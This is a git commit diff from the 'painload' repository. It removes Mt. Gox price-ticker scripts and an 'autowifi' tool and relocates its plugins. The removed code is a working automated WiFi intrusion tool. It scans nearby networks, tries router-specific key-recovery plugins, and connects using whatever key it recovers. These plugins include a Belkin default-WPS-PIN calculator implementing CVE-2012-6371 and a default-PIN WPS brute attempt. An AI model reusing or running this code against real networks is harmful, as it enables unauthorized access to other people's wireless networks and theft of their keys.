summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authormakefu <github@syntax-fehler.de>2014-12-20 22:49:58 +0100
committermakefu <github@syntax-fehler.de>2014-12-20 22:49:58 +0100
commitb7ea9e035a729186afb57894891d3bdec43aa9ae (patch)
tree1d56cf8e00c536da4ecd4a2dff333b2b6233b9b9
parentd9cb390f1d29b2ff11ac0c3deae093f4d5232d54 (diff)
parentf0ee1f2a63be9238506ec15da655a6077caaa807 (diff)
Merge branch 'master' of ssh://github.com/krebscode/painload
-rwxr-xr-xgold/mtgox/mtgox.getDepth3
-rwxr-xr-xgold/mtgox/mtgox.getTrades3
-rwxr-xr-xgold/mtgox/mtgox.ticker53
-rwxr-xr-xgold/mtgox/ticker_text.sh4
-rwxr-xr-xrecon/autowifi/inspector_wifi (renamed from recon/autowifi/usr/bin/inspector_wifi)2
-rwxr-xr-xrecon/autowifi/plugins/01open (renamed from recon/autowifi/usr/lib/autowifi/plugins/01open)0
-rwxr-xr-xrecon/autowifi/plugins/02alice (renamed from recon/autowifi/usr/lib/autowifi/plugins/02alice)2
-rwxr-xr-xrecon/autowifi/plugins/02easybox (renamed from recon/autowifi/usr/lib/autowifi/plugins/02easybox)2
-rwxr-xr-xrecon/autowifi/plugins/02tplink (renamed from recon/autowifi/usr/lib/autowifi/plugins/02tplink)2
-rw-r--r--recon/autowifi/plugins/plugin_core (renamed from recon/autowifi/usr/lib/autowifi/lib/plugin_core)0
-rwxr-xr-xrecon/autowifi/usr/bin/autowifi177
-rwxr-xr-xrecon/autowifi/usr/bin/autowifi_old65
-rwxr-xr-xrecon/autowifi/usr/bin/iwlist_env33
-rw-r--r--recon/autowifi/usr/lib/autowifi/lib/core20
-rw-r--r--recon/autowifi/usr/lib/autowifi/lib/iwlist55
-rw-r--r--recon/autowifi/usr/lib/autowifi/lib/network40
-rw-r--r--recon/autowifi/usr/lib/autowifi/lib/openwrt18
-rw-r--r--recon/autowifi/usr/lib/autowifi/lib/wpa_supplicant59
-rw-r--r--recon/autowifi/usr/lib/autowifi/lib/wps84
-rwxr-xr-xrecon/autowifi/usr/lib/autowifi/opt/udhcpc.run70
-rwxr-xr-xrecon/autowifi/usr/lib/autowifi/plugins/00profile11
-rwxr-xr-xrecon/autowifi/usr/lib/autowifi/plugins/11belkin_wps40
-rwxr-xr-xrecon/autowifi/usr/lib/autowifi/plugins/30default_wps18
23 files changed, 4 insertions, 757 deletions
diff --git a/gold/mtgox/mtgox.getDepth b/gold/mtgox/mtgox.getDepth
deleted file mode 100755
index 9a607979..00000000
--- a/gold/mtgox/mtgox.getDepth
+++ /dev/null
@@ -1,3 +0,0 @@
-#! /bin/sh
-# get mtgox market depth
-$ curl -ksS https://mtgox.com/code/data/getDepth.php
diff --git a/gold/mtgox/mtgox.getTrades b/gold/mtgox/mtgox.getTrades
deleted file mode 100755
index 73e5a68d..00000000
--- a/gold/mtgox/mtgox.getTrades
+++ /dev/null
@@ -1,3 +0,0 @@
-#! /bin/sh
-# get mtgox last trades
-$ curl -ksS https://mtgox.com/code/data/getTrades.phl
diff --git a/gold/mtgox/mtgox.ticker b/gold/mtgox/mtgox.ticker
deleted file mode 100755
index 208d2764..00000000
--- a/gold/mtgox/mtgox.ticker
+++ /dev/null
@@ -1,53 +0,0 @@
-#! /bin/sh
-# 2012-06-07 ~tv@iiso:bin/mtgox.ticker
-set -euf
-
-Currency=${Currency-EUR}
-
-# continuous ticker
-## usage: mtgox.ticker -f [time] [json-path...]
-if test $# -ge 1 && test "$1" = -f; then
- shift
- time=`echo "$1" | grep '^[1-9][0-9]*[h]\?$'` && shift || time=60
- echo -n "# sleep time: $time"
- while echo -n "
-`date --rfc-3339=s` `"$0" "$@"`"; do
- sleep $time
- done
- exit
-fi
-
-# 2012-11-17 tv /krebs/gold/mtgox/mtgox.ticker
-ticker() {
- curl -ksS https://data.mtgox.com/code/data/ticker.php?Currency=$Currency
-}
-# 2012-11-17 tv ~mw*@iiso:Espresso-phonegap/package/bin/json-print
-print() {
- node -e "
-// 2012-11-17 tv
-//filename = process.argv[2]
-filename = process.argv[1]
-jsonpath = []
-value = JSON.parse(require('fs').readFileSync(filename))
-// 2012-11-17 tv
-//process.argv.slice(3).forEach(function (key) {
-process.argv.slice(2).forEach(function (key) {
- value = value[key]
- jsonpath.push(key)
- if (typeof value === 'undefined') {
- console.error(filename + ':', jsonpath.join('.'), 'is', value)
- process.exit(23)
- }
-})
-
-console.log(JSON.stringify(value, null, 2))
-" "$@"
-}
-
-# ticker
-## usage: mtgox.ticker [json-path...] -> json
-# 2012-11-17 tv
-#/krebs/gold/mtgox/mtgox.ticker |
-# ~mw*@iiso:Espresso-phonegap/package/bin/json-print /dev/stdin ticker "$@"
-ticker |
- print /dev/stdin ticker "$@"
diff --git a/gold/mtgox/ticker_text.sh b/gold/mtgox/ticker_text.sh
deleted file mode 100755
index f585ffea..00000000
--- a/gold/mtgox/ticker_text.sh
+++ /dev/null
@@ -1,4 +0,0 @@
-#! /bin/sh
-set -euf
-cd $(dirname `readlink -f $0`)
-./mtgox.ticker | ../json/render/ticker
diff --git a/recon/autowifi/usr/bin/inspector_wifi b/recon/autowifi/inspector_wifi
index 17818b44..06f37ddb 100755
--- a/recon/autowifi/usr/bin/inspector_wifi
+++ b/recon/autowifi/inspector_wifi
@@ -8,7 +8,7 @@ cd "$(dirname "$(readlink -f "$0")")"
echo "waiting for iwlist scan data..." >&2
crack_wifi(){
- for i in ../lib/autowifi/plugins/*;do
+ for i in plugins/*;do
if RET=$(./$i "$@" 2>/dev/null);then
echo "$@ - with crack $i succeeded - Key is $RET"
fi
diff --git a/recon/autowifi/usr/lib/autowifi/plugins/01open b/recon/autowifi/plugins/01open
index 881f47ea..881f47ea 100755
--- a/recon/autowifi/usr/lib/autowifi/plugins/01open
+++ b/recon/autowifi/plugins/01open
diff --git a/recon/autowifi/usr/lib/autowifi/plugins/02alice b/recon/autowifi/plugins/02alice
index 1b4533a4..65ab34b1 100755
--- a/recon/autowifi/usr/lib/autowifi/plugins/02alice
+++ b/recon/autowifi/plugins/02alice
@@ -7,7 +7,7 @@
# ESSID MAC CHANNEL ENCRYPTION
cd $(dirname $(readlink -f $0))
-. ../lib/plugin_core
+. ./plugin_core
parse_plugin_args "$@"
diff --git a/recon/autowifi/usr/lib/autowifi/plugins/02easybox b/recon/autowifi/plugins/02easybox
index 3d7cb8c1..3bb1ee86 100755
--- a/recon/autowifi/usr/lib/autowifi/plugins/02easybox
+++ b/recon/autowifi/plugins/02easybox
@@ -2,7 +2,7 @@
#ESSID MAC CHANNEL ENCRYPTION WPA WPA2
cd $(dirname $(readlink -f $0))
-. ../lib/plugin_core
+. ./plugin_core
parse_plugin_args "$@"
if ! echo "$ESSID" | egrep -i "(EasyBox-|Arcor-|Vodafone-)" >/dev/null; then
diff --git a/recon/autowifi/usr/lib/autowifi/plugins/02tplink b/recon/autowifi/plugins/02tplink
index b2b96f95..751ec209 100755
--- a/recon/autowifi/usr/lib/autowifi/plugins/02tplink
+++ b/recon/autowifi/plugins/02tplink
@@ -4,7 +4,7 @@
# http://www.wardriving-forum.de/forum/f321/ezwlan-android-2-1-a-70045-4.html#post342481
cd $(dirname $(readlink -f $0))
-. ../lib/plugin_core
+. ./plugin_core
parse_plugin_args "$@"
diff --git a/recon/autowifi/usr/lib/autowifi/lib/plugin_core b/recon/autowifi/plugins/plugin_core
index e79a3c05..e79a3c05 100644
--- a/recon/autowifi/usr/lib/autowifi/lib/plugin_core
+++ b/recon/autowifi/plugins/plugin_core
diff --git a/recon/autowifi/usr/bin/autowifi b/recon/autowifi/usr/bin/autowifi
deleted file mode 100755
index 6b9a090c..00000000
--- a/recon/autowifi/usr/bin/autowifi
+++ /dev/null
@@ -1,177 +0,0 @@
-#!/bin/sh
-cd $(dirname $(readlink -f $0))
-
-
-interface=${interface:-wlan0}
-root=${root:-../../}
-crackdir=$root/usr/lib/autowifi/plugins
-wifi_keys=$root/etc/autowifi/wifi_keys
-wifi_log=$root/var/log/autowifi.log
-painmode=${painmode:-}
-
-# exists() run_hooks()
-. $root/usr/lib/autowifi/lib/core
-
-
-. $root/usr/lib/autowifi/lib/network
-
-# start_wpa_supplicant()
-. $root/usr/lib/autowifi/lib/wpa_supplicant
-
-
-connect(){
- #mac ssid encryption key
-
- run_hooks interface pre
- run_hooks profile pre
-
- connect_wifi "$@"
-
- ip_start dhcp
-
- if check_gateway && check_internet; then
- echo yay internet >&2
-
- run_hooks interface post
- run_hooks profile post
-
- write_profile "$@"
- return 0
- fi
- return 1
-}
-write_profile(){
- bandw=$(check_bandwidth)
- ( cat $wifi_keys | grep -v '^#' | grep -v "|$1|" ; echo "$2|$1|$bandw|$4" ) | ( echo "#SSID|MAC|BANDWIDTH|KEY";sort )| uniq > "${wifi_keys}2"
- mv "${wifi_keys}2" "$wifi_keys"
-}
-
-
-find_count_of_ssid(){
- c=0
- for i in `seq 1 $WIFI_COUNT`; do
- eval SSID=\${ESSID_${i}}
- if [ "$SSID" = "$1" ]; then
- c+=1
- echo "$i"
- fi
- done
- if [ $c -eq 0 ];then
- exit 1
- fi
- exit 0
-}
-
-
-connect_to_network_by_ssid(){
- find_count_of_ssid "$1" | (while read i
- do
- loop_over_cracks "$i" && exit 0
- done;exit 1)
- if [ $? -eq 0 ]; then
- exit 0
- fi
- echo "no network found :("
- exit 1
-}
-
-connect_with_pw(){
- find_count_of_ssid "$1" | (while read i
- do
- KEY="$2"
- eval connect \"\${MAC_${i}}\" \"\${ESSID_${i}}\" \${ENCRYPTION_${i}} \"\${KEY}\"
- if [ $? -eq 0 ]; then
- exit 0
- fi
- done;exit 1)
-}
-wifi_init(){
- wpa_supplicant_is_usable || start_wpa_supplicant /tmp/autowifi.wpa_supplicant
- wifi_scan > /tmp/${interface}.scan
- . /tmp/${interface}.scan
-}
-loop_over_networks(){
-
- wifi_init
- for i in `seq 1 $WIFI_COUNT`; do
- loop_over_cracks "$i"
- if [ $? -eq 0 ]; then
- return 0
- fi
- done
-}
-
-loop_over_cracks(){
- i=$1
- KEY=''
- for crack in $(find $crackdir -type f | sort -u); do
- KEY="$(eval root=$root painmode=$painmode \$crack \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${FREQ_${i}} \${ENCRYPTION_${i}})"
- if [ $? -eq 0 ]; then
- eval connect \"\${MAC_${i}}\" \"\${ESSID_${i}}\" \${ENCRYPTION_${i}} \"\${KEY}\"
- if [ $? -eq 0 ]; then
- return 0
- fi
- fi
- done
- return 1
-}
-loop_cracks_over_networks(){
- wifi_init
- for crack in $(find $crackdir -type f | sort -u); do
- for i in `seq 1 $WIFI_COUNT`; do
- KEY="$(eval root=$root \$crack \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${FREQ_${i}} \${ENCRYPTION_${i}})"
- if [ $? -eq 0 ]; then
- eval connect \"\${MAC_${i}}\" \"\${ESSID_${i}}\" \${ENCRYPTION_${i}} \"\${KEY}\"
- if [ $? -eq 0 ]; then
- return 0
- fi
- fi
- done
- done
-
-}
-
-#scan_all(){
-# for i in `seq 1 $WIFI_COUNT`; do
-# loop_over_cracks $i
-# done
-#}
-#
-#scan_unscanned(){
-# find_unscanned_networks | (while read i
-# do
-# loop_over_cracks $i
-# done)
-#}
-
-#find_unscanned_networks(){
-# #TODO broken
-# for i in `seq 1 $WIFI_COUNT`; do
-# eval SSID=\${ESSID_${i}}
-# eval MAC=\${MAC_${i}}
-# cat $wifi_stats 2>/dev/null | (while IFS='|' read SSID MAC BANDW KEY; do
-# if [ "$1" = "$SSID" -a "$2" = "$MAC" ]; then
-# continue
-# fi
-# done; echo $i)
-# done
-# exit 0
-#}
-
-wifi_init
-if [ -n "$2" ]; then
- echo connecting to $1 with pw $2
- connect_with_pw "$1" "$2"
-elif [ -n "$1" ]; then
- echo connecting to $1
- connect_to_network_by_ssid "$1"
-else
- echo looping network now
- check_internet || loop_cracks_over_networks
-
- while sleep 10; do
- if ! check_gateway; then
- loop_cracks_over_networks
- fi
- done
-fi
diff --git a/recon/autowifi/usr/bin/autowifi_old b/recon/autowifi/usr/bin/autowifi_old
deleted file mode 100755
index 55eaefcd..00000000
--- a/recon/autowifi/usr/bin/autowifi_old
+++ /dev/null
@@ -1,65 +0,0 @@
-#!/bin/sh -x
-# States (LED):
-# Blinking - running wifi plugins
-# Turned off - connected to wifi
-# Turned on - waiting for next scan round
-
-wifi=wlan0
-iface=@wifi-iface[0]
-radio=$(uci get wireless.${iface}.device)
-
-# for connect_wifi
-. /usr/lib/autowifi/lib/openwrt
-
-# for iwlist_scan
-. /usr/lib/autowifi/lib/iwlist
-
-# for check_internet and check_gateway
-. /usr/lib/autowifi/lib/network
-
-crack_wifi(){
- #SSID MAC CHANNEL ENCRYPTION WPA WPA2
- all_led timer
- if [ "$4" == off ];then
- encr=open
- elif [ "$6" -eq 1 ]; then
- encr=psk2
- elif [ "$5" -eq 1 ]; then
- encr=psk
- elif [ "$4" == on ]; then
- encr=wep
- fi
- for hack in $(find /usr/lib/autowifi/plugins -type f); do
- key=$($hack "$@");
- ret=$?
- if [ $ret -eq 0 ];then
- connect_wifi "$3" "$1" $encr "$key"
- sleep 20
- if check_gateway; then
- (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2
- mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys
- echo "yay gateway"
- check_internet && all_led none && return 0
- fi
- fi
- done
- return 1
-}
-loop_over_networks(){
- . /tmp/${wifi}.scan
- for i in `seq 1 $WIFI_COUNT`; do
- eval grep -q \${MAC_${i}} /etc/autowifi/blacklist && continue
- eval crack_wifi \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} && break
- done
-}
-
-iwlist_scan > /tmp/${wifi}.scan
-loop_over_networks
-
-while sleep 60; do
- if ! check_internet; then
- all_led on
- iwlist_scan > /tmp/${wifi}.scan
- loop_over_networks
- fi
-done
diff --git a/recon/autowifi/usr/bin/iwlist_env b/recon/autowifi/usr/bin/iwlist_env
deleted file mode 100755
index 29112ff3..00000000
--- a/recon/autowifi/usr/bin/iwlist_env
+++ /dev/null
@@ -1,33 +0,0 @@
-#!/bin/sh
-
-count=0
-
-iwlist scan ${1:-} 2>/dev/null | ( while read line;
-do
- case "$line" in
- *"Cell "*)
- #echo
- : $((count+=1))
- echo MAC_${count}="${line#*Address: }"
- ;;
- *Channel:*)
- echo CHANNEL_${count}="${line#*:}"
- ;;
- *Quality=*)
- echo QUALITY_${count}="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`"
- ;;
- *"Encryption key:"*)
- echo ENCRYPTION_${count}="${line#*key:}"
- ;;
- *ESSID:*)
- echo ESSID_${count}="${line#*ESSID:}"
- ;;
- *"IE: IEEE 802.11i/WPA2"*)
- echo WPA2_${count}=1
- ;;
- *"IE: WPA Version 1"*)
- echo WPA_${count}=1
- ;;
- *);;
- esac
-done; echo WIFI_COUNT=$count)
diff --git a/recon/autowifi/usr/lib/autowifi/lib/core b/recon/autowifi/usr/lib/autowifi/lib/core
deleted file mode 100644
index 80ae75b4..00000000
--- a/recon/autowifi/usr/lib/autowifi/lib/core
+++ /dev/null
@@ -1,20 +0,0 @@
-#!/bin/sh
-
-exists() { type "$1" >/dev/null 2>/dev/null; }
-
-run_hooks(){
- # (interface|profile) (pre|post)
- typ=$1
- action=$2
- shift;shift
- : ${interface?please provide interface}
- if [ "$typ" = "interface" ];then
- path=interface/$interface/$action
- else
- path=profile/$2/$action
- fi
- for hook in $(find "$root/etc/autowifi/hooks/$path" -type f 2>/dev/null | sort -u ); do
- $hook "$@"
- done
-}
-
diff --git a/recon/autowifi/usr/lib/autowifi/lib/iwlist b/recon/autowifi/usr/lib/autowifi/lib/iwlist
deleted file mode 100644
index a9f77f0c..00000000
--- a/recon/autowifi/usr/lib/autowifi/lib/iwlist
+++ /dev/null
@@ -1,55 +0,0 @@
-#!/bin/sh
-
-print_iwlist_env(){
- # takes environment:
- # count
- # MAC
- # CHANNEL
- # QUALITY
- # ENCRYPTION
- # ESSID
- # WPA
- # WPA2
- for i in ESSID MAC CHANNEL QUALITY ENCRYPTION WPA WPA2;do
- eval echo ${i}_${count}=\$${i}
- done
-}
-
-iwlist_scan(){
- # usage: iwlist_scan $wifi-itf
- ifconfig $wifi up
-
- count=0
-
- iwlist ${1:-} scan 2>/dev/null | ( while read line;
- do
- case "$line" in
- *"Cell "*)
- [ $count -eq 0 ] || print_iwlist_env
- WPA=0
- WPA2=0
- : $((count+=1))
- MAC="${line#*Address: }"
- ;;
- *Channel:*)
- CHANNEL="${line#*:}"
- ;;
- *Quality=*)
- QUALITY="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`"
- ;;
- *"Encryption key:"*)
- ENCRYPTION="${line#*key:}"
- ;;
- *ESSID:*)
- ESSID="${line#*ESSID:}"
- ;;
- *"IE: IEEE 802.11i/WPA2"*)
- WPA2=1
- ;;
- *"IE: WPA Version 1"*)
- WPA=1
- ;;
- *);;
- esac
- done; print_iwlist_env ;echo WIFI_COUNT=$count)
-}
diff --git a/recon/autowifi/usr/lib/autowifi/lib/network b/recon/autowifi/usr/lib/autowifi/lib/network
deleted file mode 100644
index a0105120..00000000
--- a/recon/autowifi/usr/lib/autowifi/lib/network
+++ /dev/null
@@ -1,40 +0,0 @@
-#!/bin/sh
-
-check_gateway(){
- ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') >/dev/null
-}
-check_internet(){
- # TODO determine the loader, either wget or curl
- secret=$(wget -O- http://krebsco.de/secret 2>/dev/null)
- if [ "$secret" == "1337" ]; then
- return 0
- else
- echo "cannot load secret or secret incorrect" >&2
- return 1
- fi
-}
-
-check_bandwidth(){
- echo $(curl http://www.microsoft.com/africa/4afrika/images/infographic.gif -w "%{speed_download}" -o /dev/null 2>/dev/null | sed 's/\..*//')
-}
-
-ip_start(){
- : ${interface?interface variable not set} ${1?please provide method to start ip}
- # usage: method [extra parms]
- case "$1" in
- dhcp)
- if exists dhcpcd; then
- dhcpcd -x $interface
- dhcpcd -w -A $interface
- elif exists dhclient; then
- dhclient -x $interface
- dhclient $interface
- elif exists udhcpc; then
- PIDFILE=/var/run/udhcpc-${interface}.pid
- [ -e $PIDFILE ] && kill `cat $PIDFILE` ||:
- udhcpc -n -p $PIDFILE -i $interface -s \
- "$root/usr/lib/autowifi/opt/udhcpc.run"
- fi ;;
- *) echo "do not know ip starter $1" >&2;;
- esac
-}
diff --git a/recon/autowifi/usr/lib/autowifi/lib/openwrt b/recon/autowifi/usr/lib/autowifi/lib/openwrt
deleted file mode 100644
index 3483c1fe..00000000
--- a/recon/autowifi/usr/lib/autowifi/lib/openwrt
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/bin/sh
-connect_wifi(){
- # channel ssid encryption key
- uci set wireless.${iface}.mode=sta
-
- ifconfig $wifi up
- uci set wireless.${radio}.channel=$1
- uci set "wireless.${iface}.ssid=$2"
- if [ $3 == "none" ] ; then
- uci set wireless.${iface}.encryption=none
- uci -q delete wireless.${iface}.key
- else
- uci set "wireless.${iface}.key=$4"
- uci set wireless.${iface}.encryption=$3
- fi
- uci commit wireless
- wifi up
-}
diff --git a/recon/autowifi/usr/lib/autowifi/lib/wpa_supplicant b/recon/autowifi/usr/lib/autowifi/lib/wpa_supplicant
deleted file mode 100644
index df9c2155..00000000
--- a/recon/autowifi/usr/lib/autowifi/lib/wpa_supplicant
+++ /dev/null
@@ -1,59 +0,0 @@
-#!/bin/sh
-start_wpa_supplicant(){
- wpa_conf=${1?please supply wpa_supplicant.conf path}
- killall wpa_supplicant
- sleep 1
-cat>$wpa_conf<<EOF
-ctrl_interface=/var/run/wpa_supplicant
-EOF
- wpa_supplicant -i $interface -c $wpa_conf -B
- sleep 4
-}
-connect_wifi(){
- # bssid ssid encryption-string key
-
- wpa_cli reconfigure
-
- int=$(wpa_cli add_network | tail -1)
- wpa_cli set_network $int ssid \"$2\"
- wpa_cli set_network $int bssid $1
- #wpa_cli set_network $int ap_scan 1
-
- if [ "$3" = "[ESS]" ]; then
- wpa_cli set_network $int key_mgmt NONE
- else
- wpa_cli set_network $int key_mgmt WPA-PSK
- wpa_cli set_network $int psk \"$4\"
- fi
- wpa_cli enable_network $int
-}
-
-wifi_scan(){
- # usage: iwlist_scan $wifi-itf
-
- count=0
- wpa_cli scan >/dev/null
- sleep 10
-
- wpa_cli scan_results 2>/dev/null | egrep "^..:" | sed 's/ / /g' | (while IFS=' ' read MAC FREQ QUALITY ENCRYPTION ESSID
- do
- : $((count+=1))
- print_wifi_env
-
- done; echo WIFI_COUNT=$count)
-}
-
-print_wifi_env(){
- # takes environment:
- # MAC
- # FREQ
- # QUALITY
- # ENCRYPTION
- # ESSID
- for i in MAC FREQ QUALITY ENCRYPTION ESSID;do
- eval echo ${i}_${count}=\\\"\$"${i}"\\\"
- done
-}
-wpa_supplicant_is_usable(){
- wpa_cli status >/dev/null 2>&1
-}
diff --git a/recon/autowifi/usr/lib/autowifi/lib/wps b/recon/autowifi/usr/lib/autowifi/lib/wps
deleted file mode 100644
index 5e9bbda7..00000000
--- a/recon/autowifi/usr/lib/autowifi/lib/wps
+++ /dev/null
@@ -1,84 +0,0 @@
-#!/bin/sh
-has_wps(){
- # the-wpa_supplicant-encryption-string
- echo "$1" | grep -q "\[WPS\]"
-}
-try_wps_pin(){
- #
- # ESSID MAC CHANNEL ENC WPA WPA2 PIN
- #set -ef
- ESSID="$1"
- MAC="$2"
- CHANNEL="$3"
-
- # TODO refactor to use all the encryption
- # the wpa_supplicant encryption string
- ENC="$4"
-
- PIN="$5"
-
- [ "$ENC" == "[ESS]" ] && return 2
- WPA_CONF=/tmp/wpa_trywps.conf
- WPA_LOG=/tmp/wpa_trywps.log
- rm $WPA_LOG
- #mkfifo $WPA_LOG
- killall wpa_supplicant 2>/dev/null && sleep 1
-
- cat > $WPA_CONF <<EOF
-ctrl_interface=/var/run/wpa_supplicant
-ctrl_interface_group=0
-update_config=1
-EOF
- wpa_supplicant -Dwext -iwlan0 -c $WPA_CONF -f $WPA_LOG 2>&1 &
- WPA_PID=$!
- sleep 2
- if !(sudo wpa_cli wps_reg $MAC $PIN | grep -q OK) ;then
- echo "wpa_cli wps_reg failed, bailing out!"
- return 1
- fi
-
- # association failed
- # exit 1 ;;
- # TODO probably not posix compatible...
- timeout(){
- ( timeout=10;
- while [ $timeout -gt 0 ]; do
- sleep 1;
- kill -0 $$ 2> /dev/null || exit 0;
- : $((timeout--));
- done ;
- echo "TIMEOUT REACHED" ;
- kill $$)&
- exec $@
- }
-
- if ( timeout tail -f $WPA_LOG & echo "TAILPID: $!") | while read line ; do
- bye(){
- printf "%s:" "$2" >&2
- kill $WPA_PID
- kill -HUP $TAILPID
- exit $1
- }
- # DEBUG
- #echo $line >&2
- case "$line" in
- TAILPID:*)IFS=" " set -- $line; TAILPID=$2;;
- *"WPS-FAIL msg=10 config_error=18"*) bye 1 "wrong pin";;
- *"CTRL-EVENT-EAP-FAILURE EAP authentication failed"*) bye 1 "rate limiting";;
- #*"Association request to the driver failed") bye 1 "wps not available";;
- #*CTRL-EVENT-DISCONNECTED*):;;
- *"CTRL-EVENT-DISCONNECTED bssid="*"reason=3 locally_generated=1"*)bye 1 "authentication failed, wps deactivated?";;
- "TIMEOUT REACHED")bye 1 "timeout reached";;
- *CTRL-EVENT-TERMINATING*) bye 1 "wpa_supplicant died";;
- *CTRL-EVENT-CONNECTED*) bye 0 "yay connected";;
- esac
- done ; then
- #echo "Connected!"
- sed -n 's/[ \t]*psk="\(.*\)"$/\1/p' "$WPA_CONF"
- return 0
- else
- #echo "failed!"
- return 1
- fi
-
-}
diff --git a/recon/autowifi/usr/lib/autowifi/opt/udhcpc.run b/recon/autowifi/usr/lib/autowifi/opt/udhcpc.run
deleted file mode 100755
index 2e1b919f..00000000
--- a/recon/autowifi/usr/lib/autowifi/opt/udhcpc.run
+++ /dev/null
@@ -1,70 +0,0 @@
-#!/bin/sh
-# shamelessly stolen from http://www.doit.org/udhcpc/S50default
-
-PATH=/bin:/usr/bin:/sbin:/usr/sbin
-
-RESOLV_CONF="/etc/resolv.conf"
-
-update_interface()
-{
- [ -n "$broadcast" ] && BROADCAST="broadcast $broadcast"
- [ -n "$subnet" ] && NETMASK="netmask $subnet"
- ifconfig $interface $ip $BROADCAST $NETMASK
-}
-
-update_routes()
-{
- if [ -n "$router" ]
- then
- echo "deleting routes"
- while route del default gw 0.0.0.0 dev $interface
- do :
- done
-
- for i in $router
- do
- route add default gw $i dev $interface
- done
- fi
-}
-
-update_dns()
-{
- echo -n > $RESOLV_CONF
- [ -n "$domain" ] && echo domain $domain >> $RESOLV_CONF
- for i in $dns
- do
- echo adding dns $i
- echo nameserver $i >> $RESOLV_CONF
- done
-}
-
-deconfig()
-{
- ifconfig $interface 0.0.0.0
-}
-
-case "$1" in
- bound)
- update_interface;
- update_routes;
- update_dns;
- ;;
-
- renew)
- update_interface;
- update_routes;
- update_dns;
- ;;
-
- deconfig)
- deconfig;
- ;;
-
- *)
- echo "Usage: $0 {bound|renew|deconfig}"
- exit 1
- ;;
-esac
-
-exit 0
diff --git a/recon/autowifi/usr/lib/autowifi/plugins/00profile b/recon/autowifi/usr/lib/autowifi/plugins/00profile
deleted file mode 100755
index d7fb9c75..00000000
--- a/recon/autowifi/usr/lib/autowifi/plugins/00profile
+++ /dev/null
@@ -1,11 +0,0 @@
-#!/bin/sh
-#ESSID MAC CHANNEL ENCRYPTION WPA WPA2
-# ENV:
-# root (default: /)
-root=${root:-/}
-cat $root/etc/autowifi/wifi_keys 2>/dev/null | (while IFS='|' read SSID MAC BANDWIDTH KEY; do
- if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then
- echo $KEY
- exit 0
- fi
-done; exit 1)
diff --git a/recon/autowifi/usr/lib/autowifi/plugins/11belkin_wps b/recon/autowifi/usr/lib/autowifi/plugins/11belkin_wps
deleted file mode 100755
index d4eb8e37..00000000
--- a/recon/autowifi/usr/lib/autowifi/plugins/11belkin_wps
+++ /dev/null
@@ -1,40 +0,0 @@
-#!/bin/sh
-# thanks to http://ednolo.alumnos.upv.es/?p=1295G
-# for the PoC code
-# Calculates the default WPS pin of Belkin Routers and returns the WPA key
-#
-# Implementation of CVE-2012-6371
-
-# works :
-# Belkin_N+_XXXXXX 00:22:75:XX:XX:XX F5D8235-4 v1000
-# belkin.XXX 00:1C:DF:XX:XX:XX F5D8231-4 v5000
-# belkin.XXX 09:86:3B:XX:XX:XX F9K1104 v1000
-
-cd $(dirname $(readlink -f $0))
-. ../lib/plugin_core
-. ../lib/wps
-parse_plugin_args "$@"
-
-check_painmode
-
-! check_vendor_mac "$VENDOR_MAC" 002275 001CDF 09863B && echo "VENDOR MAC $VENDOR_MAC not affected" && exit 1
-
-calc_belkin(){
- PRIVATE_MAC=${1}
-
- p=$((0x$PRIVATE_MAC % 10000000))
- wps_pin_checksum(){
- pin=$1
- accum=0
- while [ $pin -ne 0 ];do
- accum=$((accum + (3 * (pin % 10)) ))
- pin=$((pin/10))
- accum=$((accum + pin %10 ))
- pin=$((pin/10))
- done
- echo $(( (10 - accum % 10) % 10))
- }
- printf "%07d%d" $p $(wps_pin_checksum $p)
- return 0
-}
-try_wps_pin $@ $(calc_belkin ${PRIVATE_MAC})
diff --git a/recon/autowifi/usr/lib/autowifi/plugins/30default_wps b/recon/autowifi/usr/lib/autowifi/plugins/30default_wps
deleted file mode 100755
index 50ad2676..00000000
--- a/recon/autowifi/usr/lib/autowifi/plugins/30default_wps
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/bin/sh
-# on MANY WPS-enabled devices the pin is 12345670 , so we can give it a shot
-# http://www.wotan.cc/?p=75
-cd $(dirname $(readlink -f $0))
-. ../lib/wps
-. ../lib/plugin_core
-
-parse_plugin_args "$@"
-check_painmode
-DEFAULT_PIN="${DEFAULT_PIN:-12345670}"
-
-if has_wps "$ENC"; then
- echo "trying PIN $DEFAULT_PIN against $ESSID" >&2
- try_wps_pin "$@" $DEFAULT_PIN
-else
- echo "Network $ESSID not WPS enabled"
- exit 1
-fi